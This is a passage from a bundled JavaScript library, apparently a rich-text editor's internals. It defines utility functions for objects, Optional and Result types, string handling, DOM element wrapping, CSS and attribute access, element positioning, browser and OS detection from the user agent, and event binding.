      const r = {};
      each(obj, (x, i) => {
        const tuple = f(x, i);
        r[tuple.k] = tuple.v;
      });
      return r;
    };
    const objAcc = r => (x, i) => {
      r[i] = x;
    };
    const internalFilter = (obj, pred, onTrue, onFalse) => {
      each(obj, (x, i) => {
        (pred(x, i) ? onTrue : onFalse)(x, i);
      });
    };
    const bifilter = (obj, pred) => {
      const t = {};
      const f = {};
      internalFilter(obj, pred, objAcc(t), objAcc(f));
      return {
        t,
        f
      };
    };
    const filter$1 = (obj, pred) => {
      const t = {};
      internalFilter(obj, pred, objAcc(t), noop);
      return t;
    };
    const mapToArray = (obj, f) => {
      const r = [];
      each(obj, (value, name) => {
        r.push(f(value, name));
      });
      return r;
    };
    const find$4 = (obj, pred) => {
      const props = keys(obj);
      for (let k = 0, len = props.length; k < len; k++) {
        const i = props[k];
        const x = obj[i];
        if (pred(x, i, obj)) {
          return Optional.some(x);
        }
      }
      return Optional.none();
    };
    const values = obj => {
      return mapToArray(obj, identity);
    };
    const get$g = (obj, key) => {
      return has$2(obj, key) ? Optional.from(obj[key]) : Optional.none();
    };
    const has$2 = (obj, key) => hasOwnProperty$1.call(obj, key);
    const hasNonNullableKey = (obj, key) => has$2(obj, key) && obj[key] !== undefined && obj[key] !== null;

    const is$1 = (lhs, rhs, comparator = tripleEquals) => lhs.exists(left => comparator(left, rhs));
    const equals = (lhs, rhs, comparator = tripleEquals) => lift2(lhs, rhs, comparator).getOr(lhs.isNone() && rhs.isNone());
    const cat = arr => {
      const r = [];
      const push = x => {
        r.push(x);
      };
      for (let i = 0; i < arr.length; i++) {
        arr[i].each(push);
      }
      return r;
    };
    const sequence = arr => {
      const r = [];
      for (let i = 0; i < arr.length; i++) {
        const x = arr[i];
        if (x.isSome()) {
          r.push(x.getOrDie());
        } else {
          return Optional.none();
        }
      }
      return Optional.some(r);
    };
    const lift2 = (oa, ob, f) => oa.isSome() && ob.isSome() ? Optional.some(f(oa.getOrDie(), ob.getOrDie())) : Optional.none();
    const lift3 = (oa, ob, oc, f) => oa.isSome() && ob.isSome() && oc.isSome() ? Optional.some(f(oa.getOrDie(), ob.getOrDie(), oc.getOrDie())) : Optional.none();
    const mapFrom = (a, f) => a !== undefined && a !== null ? Optional.some(f(a)) : Optional.none();
    const someIf = (b, a) => b ? Optional.some(a) : Optional.none();

    const addToEnd = (str, suffix) => {
      return str + suffix;
    };
    const removeFromStart = (str, numChars) => {
      return str.substring(numChars);
    };

    const checkRange = (str, substr, start) => substr === '' || str.length >= substr.length && str.substr(start, start + substr.length) === substr;
    const removeLeading = (str, prefix) => {
      return startsWith(str, prefix) ? removeFromStart(str, prefix.length) : str;
    };
    const ensureTrailing = (str, suffix) => {
      return endsWith(str, suffix) ? str : addToEnd(str, suffix);
    };
    const contains$1 = (str, substr, start = 0, end) => {
      const idx = str.indexOf(substr, start);
      if (idx !== -1) {
        return isUndefined(end) ? true : idx + substr.length <= end;
      } else {
        return false;
      }
    };
    const startsWith = (str, prefix) => {
      return checkRange(str, prefix, 0);
    };
    const endsWith = (str, suffix) => {
      return checkRange(str, suffix, str.length - suffix.length);
    };
    const blank = r => s => s.replace(r, '');
    const trim$1 = blank(/^\s+|\s+$/g);
    const isNotEmpty = s => s.length > 0;
    const isEmpty = s => !isNotEmpty(s);

    const isSupported$1 = dom => dom.style !== undefined && isFunction(dom.style.getPropertyValue);

    const fromHtml$2 = (html, scope) => {
      const doc = scope || document;
      const div = doc.createElement('div');
      div.innerHTML = html;
      if (!div.hasChildNodes() || div.childNodes.length > 1) {
        const message = 'HTML does not have a single root node';
        console.error(message, html);
        throw new Error(message);
      }
      return fromDom(div.childNodes[0]);
    };
    const fromTag = (tag, scope) => {
      const doc = scope || document;
      const node = doc.createElement(tag);
      return fromDom(node);
    };
    const fromText = (text, scope) => {
      const doc = scope || document;
      const node = doc.createTextNode(text);
      return fromDom(node);
    };
    const fromDom = node => {
      if (node === null || node === undefined) {
        throw new Error('Node cannot be null or undefined');
      }
      return { dom: node };
    };
    const fromPoint = (docElm, x, y) => Optional.from(docElm.dom.elementFromPoint(x, y)).map(fromDom);
    const SugarElement = {
      fromHtml: fromHtml$2,
      fromTag,
      fromText,
      fromDom,
      fromPoint
    };

    const Global = typeof window !== 'undefined' ? window : Function('return this;')();

    const path$1 = (parts, scope) => {
      let o = scope !== undefined && scope !== null ? scope : Global;
      for (let i = 0; i < parts.length && o !== undefined && o !== null; ++i) {
        o = o[parts[i]];
      }
      return o;
    };
    const resolve = (p, scope) => {
      const parts = p.split('.');
      return path$1(parts, scope);
    };

    const unsafe = (name, scope) => {
      return resolve(name, scope);
    };
    const getOrDie$1 = (name, scope) => {
      const actual = unsafe(name, scope);
      if (actual === undefined || actual === null) {
        throw new Error(name + ' not available on this browser');
      }
      return actual;
    };

    const getPrototypeOf$1 = Object.getPrototypeOf;
    const sandHTMLElement = scope => {
      return getOrDie$1('HTMLElement', scope);
    };
    const isPrototypeOf = x => {
      const scope = resolve('ownerDocument.defaultView', x);
      return isObject(x) && (sandHTMLElement(scope).prototype.isPrototypeOf(x) || /^HTML\w*Element$/.test(getPrototypeOf$1(x).constructor.name));
    };

    const DOCUMENT = 9;
    const DOCUMENT_FRAGMENT = 11;
    const ELEMENT = 1;
    const TEXT = 3;

    const name$3 = element => {
      const r = element.dom.nodeName;
      return r.toLowerCase();
    };
    const type$1 = element => element.dom.nodeType;
    const isType = t => element => type$1(element) === t;
    const isHTMLElement = element => isElement$1(element) && isPrototypeOf(element.dom);
    const isElement$1 = isType(ELEMENT);
    const isText = isType(TEXT);
    const isDocument = isType(DOCUMENT);
    const isDocumentFragment = isType(DOCUMENT_FRAGMENT);
    const isTag = tag => e => isElement$1(e) && name$3(e) === tag;

    const is = (element, selector) => {
      const dom = element.dom;
      if (dom.nodeType !== ELEMENT) {
        return false;
      } else {
        const elem = dom;
        if (elem.matches !== undefined) {
          return elem.matches(selector);
        } else if (elem.msMatchesSelector !== undefined) {
          return elem.msMatchesSelector(selector);
        } else if (elem.webkitMatchesSelector !== undefined) {
          return elem.webkitMatchesSelector(selector);
        } else if (elem.mozMatchesSelector !== undefined) {
          return elem.mozMatchesSelector(selector);
        } else {
          throw new Error('Browser lacks native selectors');
        }
      }
    };
    const bypassSelector = dom => dom.nodeType !== ELEMENT && dom.nodeType !== DOCUMENT && dom.nodeType !== DOCUMENT_FRAGMENT || dom.childElementCount === 0;
    const all$3 = (selector, scope) => {
      const base = scope === undefined ? document : scope.dom;
      return bypassSelector(base) ? [] : map$2(base.querySelectorAll(selector), SugarElement.fromDom);
    };
    const one = (selector, scope) => {
      const base = scope === undefined ? document : scope.dom;
      return bypassSelector(base) ? Optional.none() : Optional.from(base.querySelector(selector)).map(SugarElement.fromDom);
    };

    const eq = (e1, e2) => e1.dom === e2.dom;
    const contains = (e1, e2) => {
      const d1 = e1.dom;
      const d2 = e2.dom;
      return d1 === d2 ? false : d1.contains(d2);
    };

    const owner$4 = element => SugarElement.fromDom(element.dom.ownerDocument);
    const documentOrOwner = dos => isDocument(dos) ? dos : owner$4(dos);
    const documentElement = element => SugarElement.fromDom(documentOrOwner(element).dom.documentElement);
    const defaultView = element => SugarElement.fromDom(documentOrOwner(element).dom.defaultView);
    const parent = element => Optional.from(element.dom.parentNode).map(SugarElement.fromDom);
    const parentElement = element => Optional.from(element.dom.parentElement).map(SugarElement.fromDom);
    const offsetParent = element => Optional.from(element.dom.offsetParent).map(SugarElement.fromDom);
    const nextSibling = element => Optional.from(element.dom.nextSibling).map(SugarElement.fromDom);
    const children = element => map$2(element.dom.childNodes, SugarElement.fromDom);
    const child$2 = (element, index) => {
      const cs = element.dom.childNodes;
      return Optional.from(cs[index]).map(SugarElement.fromDom);
    };
    const firstChild = element => child$2(element, 0);
    const spot = (element, offset) => ({
      element,
      offset
    });
    const leaf = (element, offset) => {
      const cs = children(element);
      return cs.length > 0 && offset < cs.length ? spot(cs[offset], 0) : spot(element, offset);
    };

    const isShadowRoot = dos => isDocumentFragment(dos) && isNonNullable(dos.dom.host);
    const supported = isFunction(Element.prototype.attachShadow) && isFunction(Node.prototype.getRootNode);
    const isSupported = constant$1(supported);
    const getRootNode = supported ? e => SugarElement.fromDom(e.dom.getRootNode()) : documentOrOwner;
    const getContentContainer = dos => isShadowRoot(dos) ? dos : SugarElement.fromDom(documentOrOwner(dos).dom.body);
    const isInShadowRoot = e => getShadowRoot(e).isSome();
    const getShadowRoot = e => {
      const r = getRootNode(e);
      return isShadowRoot(r) ? Optional.some(r) : Optional.none();
    };
    const getShadowHost = e => SugarElement.fromDom(e.dom.host);
    const getOriginalEventTarget = event => {
      if (isSupported() && isNonNullable(event.target)) {
        const el = SugarElement.fromDom(event.target);
        if (isElement$1(el) && isOpenShadowHost(el)) {
          if (event.composed && event.composedPath) {
            const composedPath = event.composedPath();
            if (composedPath) {
              return head(composedPath);
            }
          }
        }
      }
      return Optional.from(event.target);
    };
    const isOpenShadowHost = element => isNonNullable(element.dom.shadowRoot);

    const inBody = element => {
      const dom = isText(element) ? element.dom.parentNode : element.dom;
      if (dom === undefined || dom === null || dom.ownerDocument === null) {
        return false;
      }
      const doc = dom.ownerDocument;
      return getShadowRoot(SugarElement.fromDom(dom)).fold(() => doc.body.contains(dom), compose1(inBody, getShadowHost));
    };
    const body = () => getBody(SugarElement.fromDom(document));
    const getBody = doc => {
      const b = doc.dom.body;
      if (b === null || b === undefined) {
        throw new Error('Body is not available yet');
      }
      return SugarElement.fromDom(b);
    };

    const rawSet = (dom, key, value) => {
      if (isString(value) || isBoolean(value) || isNumber(value)) {
        dom.setAttribute(key, value + '');
      } else {
        console.error('Invalid call to Attribute.set. Key ', key, ':: Value ', value, ':: Element ', dom);
        throw new Error('Attribute value was not simple');
      }
    };
    const set$9 = (element, key, value) => {
      rawSet(element.dom, key, value);
    };
    const setAll$1 = (element, attrs) => {
      const dom = element.dom;
      each(attrs, (v, k) => {
        rawSet(dom, k, v);
      });
    };
    const get$f = (element, key) => {
      const v = element.dom.getAttribute(key);
      return v === null ? undefined : v;
    };
    const getOpt = (element, key) => Optional.from(get$f(element, key));
    const has$1 = (element, key) => {
      const dom = element.dom;
      return dom && dom.hasAttribute ? dom.hasAttribute(key) : false;
    };
    const remove$7 = (element, key) => {
      element.dom.removeAttribute(key);
    };
    const clone$2 = element => foldl(element.dom.attributes, (acc, attr) => {
      acc[attr.name] = attr.value;
      return acc;
    }, {});

    const internalSet = (dom, property, value) => {
      if (!isString(value)) {
        console.error('Invalid call to CSS.set. Property ', property, ':: Value ', value, ':: Element ', dom);
        throw new Error('CSS value must be a string: ' + value);
      }
      if (isSupported$1(dom)) {
        dom.style.setProperty(property, value);
      }
    };
    const internalRemove = (dom, property) => {
      if (isSupported$1(dom)) {
        dom.style.removeProperty(property);
      }
    };
    const set$8 = (element, property, value) => {
      const dom = element.dom;
      internalSet(dom, property, value);
    };
    const setAll = (element, css) => {
      const dom = element.dom;
      each(css, (v, k) => {
        internalSet(dom, k, v);
      });
    };
    const setOptions = (element, css) => {
      const dom = element.dom;
      each(css, (v, k) => {
        v.fold(() => {
          internalRemove(dom, k);
        }, value => {
          internalSet(dom, k, value);
        });
      });
    };
    const get$e = (element, property) => {
      const dom = element.dom;
      const styles = window.getComputedStyle(dom);
      const r = styles.getPropertyValue(property);
      return r === '' && !inBody(element) ? getUnsafeProperty(dom, property) : r;
    };
    const getUnsafeProperty = (dom, property) => isSupported$1(dom) ? dom.style.getPropertyValue(property) : '';
    const getRaw = (element, property) => {
      const dom = element.dom;
      const raw = getUnsafeProperty(dom, property);
      return Optional.from(raw).filter(r => r.length > 0);
    };
    const getAllRaw = element => {
      const css = {};
      const dom = element.dom;
      if (isSupported$1(dom)) {
        for (let i = 0; i < dom.style.length; i++) {
          const ruleName = dom.style.item(i);
          css[ruleName] = dom.style[ruleName];
        }
      }
      return css;
    };
    const isValidValue = (tag, property, value) => {
      const element = SugarElement.fromTag(tag);
      set$8(element, property, value);
      const style = getRaw(element, property);
      return style.isSome();
    };
    const remove$6 = (element, property) => {
      const dom = element.dom;
      internalRemove(dom, property);
      if (is$1(getOpt(element, 'style').map(trim$1), '')) {
        remove$7(element, 'style');
      }
    };
    const reflow = e => e.dom.offsetWidth;

    const Dimension = (name, getOffset) => {
      const set = (element, h) => {
        if (!isNumber(h) && !h.match(/^[0-9]+$/)) {
          throw new Error(name + '.set accepts only positive integer values. Value was ' + h);
        }
        const dom = element.dom;
        if (isSupported$1(dom)) {
          dom.style[name] = h + 'px';
        }
      };
      const get = element => {
        const r = getOffset(element);
        if (r <= 0 || r === null) {
          const css = get$e(element, name);
          return parseFloat(css) || 0;
        }
        return r;
      };
      const getOuter = get;
      const aggregate = (element, properties) => foldl(properties, (acc, property) => {
        const val = get$e(element, property);
        const value = val === undefined ? 0 : parseInt(val, 10);
        return isNaN(value) ? acc : acc + value;
      }, 0);
      const max = (element, value, properties) => {
        const cumulativeInclusions = aggregate(element, properties);
        const absoluteMax = value > cumulativeInclusions ? value - cumulativeInclusions : 0;
        return absoluteMax;
      };
      return {
        set,
        get,
        getOuter,
        aggregate,
        max
      };
    };

    const api$2 = Dimension('height', element => {
      const dom = element.dom;
      return inBody(element) ? dom.getBoundingClientRect().height : dom.offsetHeight;
    });
    const get$d = element => api$2.get(element);
    const getOuter$2 = element => api$2.getOuter(element);
    const setMax$1 = (element, value) => {
      const inclusions = [
        'margin-top',
        'border-top-width',
        'padding-top',
        'padding-bottom',
        'border-bottom-width',
        'margin-bottom'
      ];
      const absMax = api$2.max(element, value, inclusions);
      set$8(element, 'max-height', absMax + 'px');
    };

    const r$1 = (left, top) => {
      const translate = (x, y) => r$1(left + x, top + y);
      return {
        left,
        top,
        translate
      };
    };
    const SugarPosition = r$1;

    const boxPosition = dom => {
      const box = dom.getBoundingClientRect();
      return SugarPosition(box.left, box.top);
    };
    const firstDefinedOrZero = (a, b) => {
      if (a !== undefined) {
        return a;
      } else {
        return b !== undefined ? b : 0;
      }
    };
    const absolute$3 = element => {
      const doc = element.dom.ownerDocument;
      const body = doc.body;
      const win = doc.defaultView;
      const html = doc.documentElement;
      if (body === element.dom) {
        return SugarPosition(body.offsetLeft, body.offsetTop);
      }
      const scrollTop = firstDefinedOrZero(win === null || win === void 0 ? void 0 : win.pageYOffset, html.scrollTop);
      const scrollLeft = firstDefinedOrZero(win === null || win === void 0 ? void 0 : win.pageXOffset, html.scrollLeft);
      const clientTop = firstDefinedOrZero(html.clientTop, body.clientTop);
      const clientLeft = firstDefinedOrZero(html.clientLeft, body.clientLeft);
      return viewport$1(element).translate(scrollLeft - clientLeft, scrollTop - clientTop);
    };
    const viewport$1 = element => {
      const dom = element.dom;
      const doc = dom.ownerDocument;
      const body = doc.body;
      if (body === dom) {
        return SugarPosition(body.offsetLeft, body.offsetTop);
      }
      if (!inBody(element)) {
        return SugarPosition(0, 0);
      }
      return boxPosition(dom);
    };

    const api$1 = Dimension('width', element => element.dom.offsetWidth);
    const set$7 = (element, h) => api$1.set(element, h);
    const get$c = element => api$1.get(element);
    const getOuter$1 = element => api$1.getOuter(element);
    const setMax = (element, value) => {
      const inclusions = [
        'margin-left',
        'border-left-width',
        'padding-left',
        'padding-right',
        'border-right-width',
        'margin-right'
      ];
      const absMax = api$1.max(element, value, inclusions);
      set$8(element, 'max-width', absMax + 'px');
    };

    const cached = f => {
      let called = false;
      let r;
      return (...args) => {
        if (!called) {
          called = true;
          r = f.apply(null, args);
        }
        return r;
      };
    };

    const DeviceType = (os, browser, userAgent, mediaMatch) => {
      const isiPad = os.isiOS() && /ipad/i.test(userAgent) === true;
      const isiPhone = os.isiOS() && !isiPad;
      const isMobile = os.isiOS() || os.isAndroid();
      const isTouch = isMobile || mediaMatch('(pointer:coarse)');
      const isTablet = isiPad || !isiPhone && isMobile && mediaMatch('(min-device-width:768px)');
      const isPhone = isiPhone || isMobile && !isTablet;
      const iOSwebview = browser.isSafari() && os.isiOS() && /safari/i.test(userAgent) === false;
      const isDesktop = !isPhone && !isTablet && !iOSwebview;
      return {
        isiPad: constant$1(isiPad),
        isiPhone: constant$1(isiPhone),
        isTablet: constant$1(isTablet),
        isPhone: constant$1(isPhone),
        isTouch: constant$1(isTouch),
        isAndroid: os.isAndroid,
        isiOS: os.isiOS,
        isWebView: constant$1(iOSwebview),
        isDesktop: constant$1(isDesktop)
      };
    };

    const firstMatch = (regexes, s) => {
      for (let i = 0; i < regexes.length; i++) {
        const x = regexes[i];
        if (x.test(s)) {
          return x;
        }
      }
      return undefined;
    };
    const find$3 = (regexes, agent) => {
      const r = firstMatch(regexes, agent);
      if (!r) {
        return {
          major: 0,
          minor: 0
        };
      }
      const group = i => {
        return Number(agent.replace(r, '$' + i));
      };
      return nu$d(group(1), group(2));
    };
    const detect$4 = (versionRegexes, agent) => {
      const cleanedAgent = String(agent).toLowerCase();
      if (versionRegexes.length === 0) {
        return unknown$3();
      }
      return find$3(versionRegexes, cleanedAgent);
    };
    const unknown$3 = () => {
      return nu$d(0, 0);
    };
    const nu$d = (major, minor) => {
      return {
        major,
        minor
      };
    };
    const Version = {
      nu: nu$d,
      detect: detect$4,
      unknown: unknown$3
    };

    const detectBrowser$1 = (browsers, userAgentData) => {
      return findMap(userAgentData.brands, uaBrand => {
        const lcBrand = uaBrand.brand.toLowerCase();
        return find$5(browsers, browser => {
          var _a;
          return lcBrand === ((_a = browser.brand) === null || _a === void 0 ? void 0 : _a.toLowerCase());
        }).map(info => ({
          current: info.name,
          version: Version.nu(parseInt(uaBrand.version, 10), 0)
        }));
      });
    };

    const detect$3 = (candidates, userAgent) => {
      const agent = String(userAgent).toLowerCase();
      return find$5(candidates, candidate => {
        return candidate.search(agent);
      });
    };
    const detectBrowser = (browsers, userAgent) => {
      return detect$3(browsers, userAgent).map(browser => {
        const version = Version.detect(browser.versionRegexes, userAgent);
        return {
          current: browser.name,
          version
        };
      });
    };
    const detectOs = (oses, userAgent) => {
      return detect$3(oses, userAgent).map(os => {
        const version = Version.detect(os.versionRegexes, userAgent);
        return {
          current: os.name,
          version
        };
      });
    };

    const normalVersionRegex = /.*?version\/\ ?([0-9]+)\.([0-9]+).*/;
    const checkContains = target => {
      return uastring => {
        return contains$1(uastring, target);
      };
    };
    const browsers = [
      {
        name: 'Edge',
        versionRegexes: [/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],
        search: uastring => {
          return contains$1(uastring, 'edge/') && contains$1(uastring, 'chrome') && contains$1(uastring, 'safari') && contains$1(uastring, 'applewebkit');
        }
      },
      {
        name: 'Chromium',
        brand: 'Chromium',
        versionRegexes: [
          /.*?chrome\/([0-9]+)\.([0-9]+).*/,
          normalVersionRegex
        ],
        search: uastring => {
          return contains$1(uastring, 'chrome') && !contains$1(uastring, 'chromeframe');
        }
      },
      {
        name: 'IE',
        versionRegexes: [
          /.*?msie\ ?([0-9]+)\.([0-9]+).*/,
          /.*?rv:([0-9]+)\.([0-9]+).*/
        ],
        search: uastring => {
          return contains$1(uastring, 'msie') || contains$1(uastring, 'trident');
        }
      },
      {
        name: 'Opera',
        versionRegexes: [
          normalVersionRegex,
          /.*?opera\/([0-9]+)\.([0-9]+).*/
        ],
        search: checkContains('opera')
      },
      {
        name: 'Firefox',
        versionRegexes: [/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],
        search: checkContains('firefox')
      },
      {
        name: 'Safari',
        versionRegexes: [
          normalVersionRegex,
          /.*?cpu os ([0-9]+)_([0-9]+).*/
        ],
        search: uastring => {
          return (contains$1(uastring, 'safari') || contains$1(uastring, 'mobile/')) && contains$1(uastring, 'applewebkit');
        }
      }
    ];
    const oses = [
      {
        name: 'Windows',
        search: checkContains('win'),
        versionRegexes: [/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]
      },
      {
        name: 'iOS',
        search: uastring => {
          return contains$1(uastring, 'iphone') || contains$1(uastring, 'ipad');
        },
        versionRegexes: [
          /.*?version\/\ ?([0-9]+)\.([0-9]+).*/,
          /.*cpu os ([0-9]+)_([0-9]+).*/,
          /.*cpu iphone os ([0-9]+)_([0-9]+).*/
        ]
      },
      {
        name: 'Android',
        search: checkContains('android'),
        versionRegexes: [/.*?android\ ?([0-9]+)\.([0-9]+).*/]
      },
      {
        name: 'macOS',
        search: checkContains('mac os x'),
        versionRegexes: [/.*?mac\ os\ x\ ?([0-9]+)_([0-9]+).*/]
      },
      {
        name: 'Linux',
        search: checkContains('linux'),
        versionRegexes: []
      },
      {
        name: 'Solaris',
        search: checkContains('sunos'),
        versionRegexes: []
      },
      {
        name: 'FreeBSD',
        search: checkContains('freebsd'),
        versionRegexes: []
      },
      {
        name: 'ChromeOS',
        search: checkContains('cros'),
        versionRegexes: [/.*?chrome\/([0-9]+)\.([0-9]+).*/]
      }
    ];
    const PlatformInfo = {
      browsers: constant$1(browsers),
      oses: constant$1(oses)
    };

    const edge = 'Edge';
    const chromium = 'Chromium';
    const ie = 'IE';
    const opera = 'Opera';
    const firefox = 'Firefox';
    const safari = 'Safari';
    const unknown$2 = () => {
      return nu$c({
        current: undefined,
        version: Version.unknown()
      });
    };
    const nu$c = info => {
      const current = info.current;
      const version = info.version;
      const isBrowser = name => () => current === name;
      return {
        current,
        version,
        isEdge: isBrowser(edge),
        isChromium: isBrowser(chromium),
        isIE: isBrowser(ie),
        isOpera: isBrowser(opera),
        isFirefox: isBrowser(firefox),
        isSafari: isBrowser(safari)
      };
    };
    const Browser = {
      unknown: unknown$2,
      nu: nu$c,
      edge: constant$1(edge),
      chromium: constant$1(chromium),
      ie: constant$1(ie),
      opera: constant$1(opera),
      firefox: constant$1(firefox),
      safari: constant$1(safari)
    };

    const windows = 'Windows';
    const ios = 'iOS';
    const android = 'Android';
    const linux = 'Linux';
    const macos = 'macOS';
    const solaris = 'Solaris';
    const freebsd = 'FreeBSD';
    const chromeos = 'ChromeOS';
    const unknown$1 = () => {
      return nu$b({
        current: undefined,
        version: Version.unknown()
      });
    };
    const nu$b = info => {
      const current = info.current;
      const version = info.version;
      const isOS = name => () => current === name;
      return {
        current,
        version,
        isWindows: isOS(windows),
        isiOS: isOS(ios),
        isAndroid: isOS(android),
        isMacOS: isOS(macos),
        isLinux: isOS(linux),
        isSolaris: isOS(solaris),
        isFreeBSD: isOS(freebsd),
        isChromeOS: isOS(chromeos)
      };
    };
    const OperatingSystem = {
      unknown: unknown$1,
      nu: nu$b,
      windows: constant$1(windows),
      ios: constant$1(ios),
      android: constant$1(android),
      linux: constant$1(linux),
      macos: constant$1(macos),
      solaris: constant$1(solaris),
      freebsd: constant$1(freebsd),
      chromeos: constant$1(chromeos)
    };

    const detect$2 = (userAgent, userAgentDataOpt, mediaMatch) => {
      const browsers = PlatformInfo.browsers();
      const oses = PlatformInfo.oses();
      const browser = userAgentDataOpt.bind(userAgentData => detectBrowser$1(browsers, userAgentData)).orThunk(() => detectBrowser(browsers, userAgent)).fold(Browser.unknown, Browser.nu);
      const os = detectOs(oses, userAgent).fold(OperatingSystem.unknown, OperatingSystem.nu);
      const deviceType = DeviceType(os, browser, userAgent, mediaMatch);
      return {
        browser,
        os,
        deviceType
      };
    };
    const PlatformDetection = { detect: detect$2 };

    const mediaMatch = query => window.matchMedia(query).matches;
    let platform = cached(() => PlatformDetection.detect(navigator.userAgent, Optional.from(navigator.userAgentData), mediaMatch));
    const detect$1 = () => platform();

    const mkEvent = (target, x, y, stop, prevent, kill, raw) => ({
      target,
      x,
      y,
      stop,
      prevent,
      kill,
      raw
    });
    const fromRawEvent$1 = rawEvent => {
      const target = SugarElement.fromDom(getOriginalEventTarget(rawEvent).getOr(rawEvent.target));
      const stop = () => rawEvent.stopPropagation();
      const prevent = () => rawEvent.preventDefault();
      const kill = compose(prevent, stop);
      return mkEvent(target, rawEvent.clientX, rawEvent.clientY, stop, prevent, kill, rawEvent);
    };
    const handle = (filter, handler) => rawEvent => {
      if (filter(rawEvent)) {
        handler(fromRawEvent$1(rawEvent));
      }
    };
    const binder = (element, event, filter, handler, useCapture) => {
      const wrapped = handle(filter, handler);
      element.dom.addEventListener(event, wrapped, useCapture);
      return { unbind: curry(unbind, element, event, wrapped, useCapture) };
    };
    const bind$2 = (element, event, filter, handler) => binder(element, event, filter, handler, false);
    const capture$1 = (element, event, filter, handler) => binder(element, event, filter, handler, true);
    const unbind = (element, event, handler, useCapture) => {
      element.dom.removeEventListener(event, handler, useCapture);
    };

    const before$1 = (marker, element) => {
      const parent$1 = parent(marker);
      parent$1.each(v => {
        v.dom.insertBefore(element.dom, marker.dom);
      });
    };
    const after$2 = (marker, element) => {
      const sibling = nextSibling(marker);
      sibling.fold(() => {
        const parent$1 = parent(marker);
        parent$1.each(v => {
          append$2(v, element);
        });
      }, v => {
        before$1(v, element);
      });
    };
    const prepend$1 = (parent, element) => {
      const firstChild$1 = firstChild(parent);
      firstChild$1.fold(() => {
        append$2(parent, element);
      }, v => {
        parent.dom.insertBefore(element.dom, v.dom);
      });
    };
    const append$2 = (parent, element) => {
      parent.dom.appendChild(element.dom);
    };
    const appendAt = (parent, element, index) => {
      child$2(parent, index).fold(() => {
        append$2(parent, element);
      }, v => {
        before$1(v, element);
      });
    };

    const append$1 = (parent, elements) => {
      each$1(elements, x => {
        append$2(parent, x);
      });
    };

    const empty = element => {
      element.dom.textContent = '';
      each$1(children(element), rogue => {
        remove$5(rogue);
      });
    };
    const remove$5 = element => {
      const dom = element.dom;
      if (dom.parentNode !== null) {
        dom.parentNode.removeChild(dom);
      }
    };

    const get$b = _DOC => {
      const doc = _DOC !== undefined ? _DOC.dom : document;
      const x = doc.body.scrollLeft || doc.documentElement.scrollLeft;
      const y = doc.body.scrollTop || doc.documentElement.scrollTop;
      return SugarPosition(x, y);
    };
    const to = (x, y, _DOC) => {
      const doc = _DOC !== undefined ? _DOC.dom : document;
      const win = doc.defaultView;
      if (win) {
        win.scrollTo(x, y);
      }
    };

    const get$a = _win => {
      const win = _win === undefined ? window : _win;
      if (detect$1().browser.isFirefox()) {
        return Optional.none();
      } else {
        return Optional.from(win.visualViewport);
      }
    };
    const bounds$1 = (x, y, width, height) => ({
      x,
      y,
      width,
      height,
      right: x + width,
      bottom: y + height
    });
    const getBounds$3 = _win => {
      const win = _win === undefined ? window : _win;
      const doc = win.document;
      const scroll = get$b(SugarElement.fromDom(doc));
      return get$a(win).fold(() => {
        const html = win.document.documentElement;
        const width = html.clientWidth;
        const height = html.clientHeight;
        return bounds$1(scroll.left, scroll.top, width, height);
      }, visualViewport => bounds$1(Math.max(visualViewport.pageLeft, scroll.left), Math.max(visualViewport.pageTop, scroll.top), visualViewport.width, visualViewport.height));
    };

    const getDocument = () => SugarElement.fromDom(document);

    const walkUp = (navigation, doc) => {
      const frame = navigation.view(doc);
      return frame.fold(constant$1([]), f => {
        const parent = navigation.owner(f);
        const rest = walkUp(navigation, parent);
        return [f].concat(rest);
      });
    };
    const pathTo = (element, navigation) => {
      const d = navigation.owner(element);
      const paths = walkUp(navigation, d);
      return Optional.some(paths);
    };

    const view = doc => {
      var _a;
      const element = doc.dom === document ? Optional.none() : Optional.from((_a = doc.dom.defaultView) === null || _a === void 0 ? void 0 : _a.frameElement);
      return element.map(SugarElement.fromDom);
    };
    const owner$3 = element => owner$4(element);

    var Navigation = /*#__PURE__*/Object.freeze({
        __proto__: null,
        view: view,
        owner: owner$3
    });

    const find$2 = element => {
      const doc = getDocument();
      const scroll = get$b(doc);
      const path = pathTo(element, Navigation);
      return path.fold(curry(absolute$3, element), frames => {
        const offset = viewport$1(element);
        const r = foldr(frames, (b, a) => {
          const loc = viewport$1(a);
          return {
            left: b.left + loc.left,
            top: b.top + loc.top
          };
        }, {
          left: 0,
          top: 0
        });
        return SugarPosition(r.left + offset.left + scroll.left, r.top + offset.top + scroll.top);
      });
    };

    const pointed = (point, width, height) => ({
      point,
      width,
      height
    });
    const rect = (x, y, width, height) => ({
      x,
      y,
      width,
      height
    });
    const bounds = (x, y, width, height) => ({
      x,
      y,
      width,
      height,
      right: x + width,
      bottom: y + height
    });
    const box$1 = element => {
      const xy = absolute$3(element);
      const w = getOuter$1(element);
      const h = getOuter$2(element);
      return bounds(xy.left, xy.top, w, h);
    };
    const absolute$2 = element => {
      const position = find$2(element);
      const width = getOuter$1(element);
      const height = getOuter$2(element);
      return bounds(position.left, position.top, width, height);
    };
    const win = () => getBounds$3(window);

    const value$4 = value => {
      const applyHelper = fn => fn(value);
      const constHelper = constant$1(value);
      const outputHelper = () => output;
      const output = {
        tag: true,
        inner: value,
        fold: (_onError, onValue) => onValue(value),
        isValue: always,
        isError: never,
        map: mapper => Result.value(mapper(value)),
        mapError: outputHelper,
        bind: applyHelper,
        exists: applyHelper,
        forall: applyHelper,
        getOr: constHelper,
        or: outputHelper,
        getOrThunk: constHelper,
        orThunk: outputHelper,
        getOrDie: constHelper,
        each: fn => {
          fn(value);
        },
        toOptional: () => Optional.some(value)
      };
      return output;
    };
    const error$1 = error => {
      const outputHelper = () => output;
      const output = {
        tag: false,
        inner: error,
        fold: (onError, _onValue) => onError(error),
        isValue: never,
        isError: always,
        map: outputHelper,
        mapError: mapper => Result.error(mapper(error)),
        bind: outputHelper,
        exists: never,
        forall: always,
        getOr: identity,
        or: identity,
        getOrThunk: apply$1,
        orThunk: apply$1,
        getOrDie: die(String(error)),
        each: noop,
        toOptional: Optional.none
      };
      return output;
    };
    const fromOption = (optional, err) => optional.fold(() => error$1(err), value$4);
    const Result = {
      value: value$4,
      error: error$1,
      fromOption
    };

    var SimpleResultType;
    (function (SimpleResultType) {
      SimpleResultType[SimpleResultType['Error'] = 0] = 'Error';
      SimpleResultType[SimpleResultType['Value'] = 1] = 'Value';
    }(SimpleResultType || (SimpleResultType = {})));
